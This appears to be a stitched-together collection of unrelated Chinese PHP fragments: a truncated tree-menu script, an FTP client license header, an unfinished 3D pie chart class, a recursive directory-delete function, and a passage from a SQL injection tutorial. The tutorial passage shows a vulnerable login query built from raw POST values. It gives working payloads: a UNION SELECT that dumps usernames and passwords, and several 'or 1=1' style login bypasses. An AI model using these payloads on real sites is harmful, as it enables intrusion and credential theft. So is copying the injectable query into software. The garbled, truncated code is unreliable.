用PHP实现windows资源管理器风格的树型菜单

以下是一个风格类似windows资源管理器的树型菜单
将下面的脚本包含到你的页面中
另外需要从资源管理器中截取一些gif图片,祥见脚本中的注释
菜单结构文件的格式为:
tree level|item text|item link|link target|last item in subtree
例如
.<b>Demo menu</b>|javascript: alert('This is the demo menu for TreeMenu 1.0');
..<b>目录1</b>
...<b>子目录 1.1</b>
....item 1.1.1|javascript: alert('Item 1.1.1');
....item 1.1.2|javascript: alert('Item 1.1.1');
...item 1.2|javascript: alert('Item 1.2');
...item 1.3|javascript: alert('Item 1.3');
..<b>子目录 2</b>
...item 2.1|javascript: alert('Item 2.1');
...item 2.2|javascript: alert('Item 2.2');
...<b>子目录 2.3</b>
....item 2.3.1|javascript: alert('Item 2.3.1');
....item 2.3.2|javascript: alert('Item 2.3.2');
<?php
// file:tremenu.inc
// PHP TreeMenu
/////////////////
// 初始化 //
/////////////////
$treefile = "demomenu.txt";//设置有菜单结构的文件
if(isset($PATH_INFO))
$script = $PATH_INFO;
else
$script = $SCRIPT_NAME;
//以下图片可截取windows资源管理器中的相应位置的图
$img_expand = "tree_expand.gif";//形如资源管理器中可扩展节点+
$img_collapse = "tree_collapse.gif";//形如资源管理器中已扩展节点-
$img_line = "tree_vertline.gif";//形如|
$img_split = "tree_split.gif";//形如|-
$img_end = "tree_end.gif";//形如L
$img_leaf = "tree_leaf.gif";//形如o
$img_spc = "tree_space.gif";//空白图
//以下是菜单处理脚本
$maxlevel=0;
$cnt=0;
$fd = fopen($treefile, "r");
if ($fd==0) die("treemenu.inc : Unable to open file ".$treefile);
while ($buffer = fgets($fd, 4096))
{
$tree[$cnt][0]=strspn($buffer,".");
$tmp=rtrim(substr($buffer,$tree[$cnt][0]));
$node=explode("|",$tmp);
$tree[$cnt][1]=$node[0];
$tree[$cnt][2]=$node[1];
<?php
/* $Id: ftp.php,v 2.2 2002/03/12 23:21:28 pauls Exp $ */
/* This software came from http://inebria.com/ */
/* Copyright (c) 2000
        Paul Southworth.    All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
    notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
    notice, this list of conditions and the following disclaimer in the
    documentation and/or other materials provided with the distribution.
3. The name of the author may not be used to endorse or promote
    products derived from this software without specific prior
    written permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS
OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED.    IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */
/* Configuration Options */
$phpftp_host="localhost";
$phpftp_version="2.2";
/* Comment this out if you don't want the version footer */
<?php
//公用函数
//把角度转换为弧度
function deg2Arc($degrees) {
return($degrees * (pi()/180.0));
}
//RGB
function getRGB($color){
$R=($color>>16) & 0xff;
$G=($color>>8) & 0xff;
$B=($color) & 0xff;
return (array($R,$G,$B));
}
// 取得在椭圆心为（0，0）的椭圆上 x,y点的值
function pie_point($deg,$va,$vb){
$x= cos(deg2Arc($deg)) * $va;
$y= sin(deg2Arc($deg)) * $vb;
return (array($x, $y));
}
//3D饼图类
class Pie3d{
var $a; //椭圆长半轴
var $b; //椭圆短半轴
var $DataArray; //每个扇形的数据
var $ColorArray; //每个扇形的颜色 要求按照十六进制书写但前面不加0x
//为边缘及阴影为黑色
function Pie3d($pa=100,$pb=60,$sData="100,200,300,400,500", $sColor="ee00ff,dd0000,cccccc,ccff00,00ccff")
{
$this->a=$pa;
$this->b=$pb;
$this->DataArray=split(",",$sData);
$this->ColorArray=split(",",$sColor);
}
function setA($v){
$this->a=$v;
}
function getA(){
return $this->a;
}
function setB($v){
$this->b=$v;
}
function getB(){
return $this->b;
}
function setDataArray($v){
$this->DataArray=split(",",$v);
}
function getDataArray($v){
return $this->DataArray;
}
function setColorArray($v){
$this->ColorArray=split(",",$v);
}
function getColorArray(){
return $this->ColorArray;
}

function DrawPie(){
$image=imagecreate($this->a*2+40,$this->b*2+40);
$PieCenterX=$this->a+10;
$PieCenterY=$this->b+10;
$DoubleA=$this->a*2;
$DoubleB=$this->b*2;
list($R,$G,$B)=getRGB(0);
$colorBorder=imagecolorallocate($image,$R,$G,$B);
我们构建注入语句吧
在输入框输入
a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from
alphaauthor#放到sql语句中成了
select * from alphadb where title like %a% and 1=2 union select
1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %
结果如图17哦
怎么样，出来了吧，哈哈，一切尽在掌握之中。
C：下面我们从注入地点上在来看一下各种注入攻击方式
1)      首先来看看后台登陆哦
代码先
//login.php
.......
$query="select * from alphaauthor where UserName= "
.$HTTP_POST_VARS["UserName"]." and
Password= ". $HTTP_POST_VARS["Password"]." ";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo "后台登陆成功";
}
esle
{
echo "重新登陆"；
exit；
｝
.........
?>
Username和password没有经过任何处理直接放到sql中执行了。
看看我们怎么绕过呢？
最经典的还是那个：
在用户名和密码框里都输入
'or =
带入sql语句中成了
select * from alphaauthor where UserName= or = and Password= or =
这样带入得到的$data肯定为真，也就是我们成功登陆了。
还有其他的绕过方法，原理是一样的，就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和密码都输入 or a = a
Sql成了
select * from alphaauthor where UserName= or a = a and Password=
or a = a
2.
用户名和密码都输入 or 1=1 and ' =
Sql成了
select * from alphaauthor where UserName= or 1=1 and ' =
and Password= or 1=1 and ' =
用户名和密码都输入 or 2>1 and ' =
Sql成了
select * from alphaauthor where UserName= or 2>1 and ' =
and Password= or 2>1 and ' =
3.
用户名输入 or 1=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName= or 1＝1 # and
Password= anything
后面部分被注释掉了，当然返回还是真哦。
     4.
<?php
    /**
     * c_function::dir_delete()
     * 删除目录
     * @param $file 目录名(不带/)
     * @return
     */
     function dir_delete($file)
     {
        if(file_exists($file))
        {
       if(is_dir($file))
       {
           $handle =opendir($file);
           while(false!==($filename=readdir($handle)))
           {
          if($filename!="."&&$filename!="..")$this->dir_delete($file."/".$filename);
           }
           closedir($handle);
           rmdir($file);
           return true;
       }
       else
       {
           unlink($file);
       }
        }
    }
?>